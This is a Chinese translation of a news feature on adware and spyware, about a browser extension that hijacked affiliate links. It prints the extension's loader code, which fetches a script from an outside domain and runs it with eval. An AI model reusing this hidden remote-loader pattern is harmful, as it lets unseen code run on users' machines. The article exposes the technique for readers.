英文原文:Clickjackers: Inside The Strange New World Of Modern Spyware
在 2014 年的时候,如果你有幸或者实际上是十分不走运地从一个名叫 WeLikeTheWeb.com 的网站上下载了一个 Chrome 和火狐浏览器插件,展现在你面前的会是一个网站推荐引擎,你很可能无视它或者不打算安装。这个应用表面上看起来人畜无害。但是,如果不小心运行了这个应用,那么你就开启了这个软件所不为人知的神奇一面,而这一面正是间谍软件在新时代的应用,它会用一种新的有害方式侵犯用户的电脑,这种方式 有时候甚至还有风投的资金支持 。
表明上看,这个插件(据大多数病毒扫描程序的结果显示,这个插件目前被认定为恶意软件,已经被干掉了)在用户上网的时候会带来弹窗。然而,如果你是一名联合营销人员——其实也就是一名网站的创建者,通过让顾客浏览诸如 booking.com 或是 brazzers.com 这样的网页来赚钱——那么你就会十分痛恨 WeLikeTheWeb 的网站推荐插件。这个插件是一个广告注入器,这种工具会将用户从“合法的”广告中引开,然后在你的浏览体验中注入图像和 HTML。 谷歌估计 有 5% 的网络用户在不知情的情况下运行了这类广告注入器,而这让营销人员很苦恼——而且它的代码写得还真不赖。
在面罩之下
从表面上看这个插件完全平凡无奇。你在 这里可以看到它的代码 。它看上去似乎和一般的广告没有区别,在用户浏览网页的时候会弹出建议,但当你对这个应用进行深入研究就会发现一些有意思的东西。除了一行让痛苦到来的代码。
让我们看下一小部分的代码:
var website_rec = new function () { // consts this.REMOTE_URL = "http://utils.cdneurope.com/js/link-ff.js"; // fields this.ajaxRequest = null; this.init = function () { try { this.ajaxRequest = Components.classes[‘@mozilla.org/xmlextras/xmlhttprequest;1′].createInstance (Components.interfaces.nsIXMLHttpRequest); this.ajaxRequest.open (‘GET’, this.REMOTE_URL, true); this.ajaxRequest.setRequestHeader (‘Cache-Control’, ‘no-cache’); this.ajaxRequest.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE; this.ajaxRequest.onreadystatechange = function () { try { if (this.readyState == 4 && this.status == 200) { eval (unescape (this.responseText)); } } catch (ex) {} } this.ajaxRequest.send (null); } catch(ex) { } } this.init (); }
重要的部分在最上面。如你所见,这个插件会访问和运行隐藏在 utils.cdneurope.com. 网站上的一个文件。
CDNEurope 可不好对付——追踪到它的地理来源是不可能的,因为最多你也就只能得到 XLHost.com,这是托管该网站的公司——但它可以在数秒内就送上恶意软件。域名注册信息被隐藏了,而发往该公司的邮件没有得到回应。
这个代码可以做任何事情,而且对于一般的用户来说它的所作所为是看不到的。实际上很难去了解到底发生了什么。
据 VirusTotal 的结果显示那份文件没有问题。但那个代码却显然是有 伪装的 :
这套加密系统——真的是用来减少文件大小并且阻止对 JavaScript 文件内部的窥视——根本不足以扩展成可读代码。但它到底有什么用?在这个俄罗斯套娃式的代码中,真正的作用被进一步伪装起来,只有运行代码才能得知它的功能。试想有辆汽车正以每小时 60 英里的速度行驶,车门没有锁是为了让你可以进去,一旦你真的 飞扑上去 ,你会发现一些十分有趣的东西。
这是飞扑上去的截图:
注意那些 URL。在这个特殊案例中,软件在应用中会改变附属链接——那些代码广告商嵌入到他们网站用来赚钱的。例如,本来点击附属链接会跳转到 Booking.com,但这个恶意软件会劫持这个链接,将这些点击带往别处。如果一名消费者点击了 brazzers.com[NSFW] 的链接,恶意软件介入后会将广告费用发给另外一名用户。简单来说,这个 chrome 插件会捞取网站的每一笔日常广告交易费用,反过来让自己赚大钱。
Packetsled 的首席执行官马特·哈瑞根(Matt Harrigan)说:“这里面有一些非常有意思的东西,它们很可能是设计用来防止谷歌在 Chrome 插件上的代码签名尝试,这些插件会引导用户访问广告网站。有意思的是他们似乎成功了,而这种事情也不只是发生在 Chrome 上。还有一些针对火狐的代码,从最初的脚本就开始了伪装。我们认为这不仅仅是一个简单的点击劫持,它有可能导致更大的问题。”
新瓶装旧酒
WebSiteRecommendation(WSR)的大部分用户是在 uTorrent 上被捆绑了这个恶意软件,后者是一个种子下载项目。甚至直到今日,在 WSR 倒下的一年后,uTorrent 时不时还会捆绑一个名叫 MyBrowserBar 的东西,最近还因为捆绑了一个名为 Bitcoin mining bloatware 的软件而受到攻击,这个软件实际上是一个非盈利捐款系统,它利用空闲周期来为慈善募捐。不管你怎么称呼它——恶意软件也好,臃肿软件也好,还是间谍软件也罢——这类软件总是以惊人的频率出现和消失,今天本是善意的慈善应用可能也会变成明天的点击劫持者。
Webroot 的安全情报总监格雷森·米尔本(Grayson Milbourne)表示,“现在许多先进的恶意软件包含有间谍软件的功能,但我们也看到间谍软件依靠软件捆绑来散播,这种形式往往采用在一个非常受欢迎的应用安装程序中捆绑许多其他的软件安装程序。这些额外的软件通常被称为 PUA(可能不想要的应用),这些应用常常会提供优惠券或是用某种方式与网页浏览器发生互动。这些项目中包含的最终用户许可协议范围非常广泛,让它们能够使用检测到的任何数据,而这通常用于导向性广告。”
并不是所有间谍软件一开始都是恶意的。当这些软件被那些粗心大意的人所使用时才变成恶意软件。一些软件在被合法所有者购买之后甚至还能弃暗投明。
米尔本说:“这通常是因为一家间谍软件公司被一家更为可靠的公司收购了之后,改变了他们原有做法的结果。如果发生了这些事,新的公司会在杀毒软件社区里设法还自己清白。这个过程通常完成地很艰难,因为市面上有许多杀毒软件,而且还常常会导致接受来自供应商的检测。”
专家认为间谍软件的高峰期发生在 2005 年,那时候因特网还是新兴事物。打击恶意软件的新技术让这些软件越来越难以操控广告和偷取点击率。
F-Secure 的安全顾问西恩·苏利维安(Sean Sullivan)说:“自从谷歌基本上将“间谍软件”差不多淘汰的那些年里,间谍软件已经不复当年的模样。2006 年,有人会被诱导下载一个屏幕保护程序,而在他们不知情的情况下,追踪软件会被捆绑在其中或者被一起安装。这类追踪软件是捆绑(垃圾软件)式,更多的是针对买家。在更常见的应用中,间谍软件是指那些被真正的间谍所使用的软件,他们用它来监视嫌疑人和目标人物。我们称之为‘间谍软件’的许多软件其实常常被归类为风险工具或是监视工具,又或者是可能不想要的软件。”
这种委婉地将间谍软件称为 PUA 的做法听上去让人感觉无害,但它们实际上还是在进行着破坏——你只需问问那些买了预装 Superfish 这款臃肿软件的联想笔记本用户最后发现他们是多么地容易受到攻击。当今的操作系统对于操控用户信息有了更完善的管理,但仍然有很多黑客在第一时间就可以偷取我们的信息和钱。
间谍软件和 PUA 的编写者们都变得更狡猾了,我们的系统处于危险之中而新的工具每天层出不穷。人们可以借此赚钱。NSS Labs 的研究负责人兰迪·阿布朗姆斯(Randy Abrams)表示说客们正在积极阻止反间谍软件立法的这种可怕想法。
阿布朗姆斯说,“间谍软件最终是由花在游说立法者上的钱数来定义。广告和营销行业资金尤其雄厚。肯定有一些营销机构不使用(间谍软件),因为他们认为这些工具和做法不合法。然而,这种观点对于大部分正在游说国会的营销行业机构来说就不是这样了。”
研究者正在学习这种营销者所采用的新方式,他们甚至难以用一个新名字来反映间谍软件不断改变的本质。不过我们许多人还是会将它叫做恶意软件,研究者每天都会发现新的间谍软件,它们会对用户隐藏但仍然是个威胁。
F-Secure 的苏利维安表示,“人们如果在安装免费软件时不够小心谨慎,他们还是会继续受到伤害。有不计其数的应用在窥探和威胁着个人隐私。我想为这类软件取个新名字已经想了一年多了,不过‘间谍软件’描述得正是恰到好处。”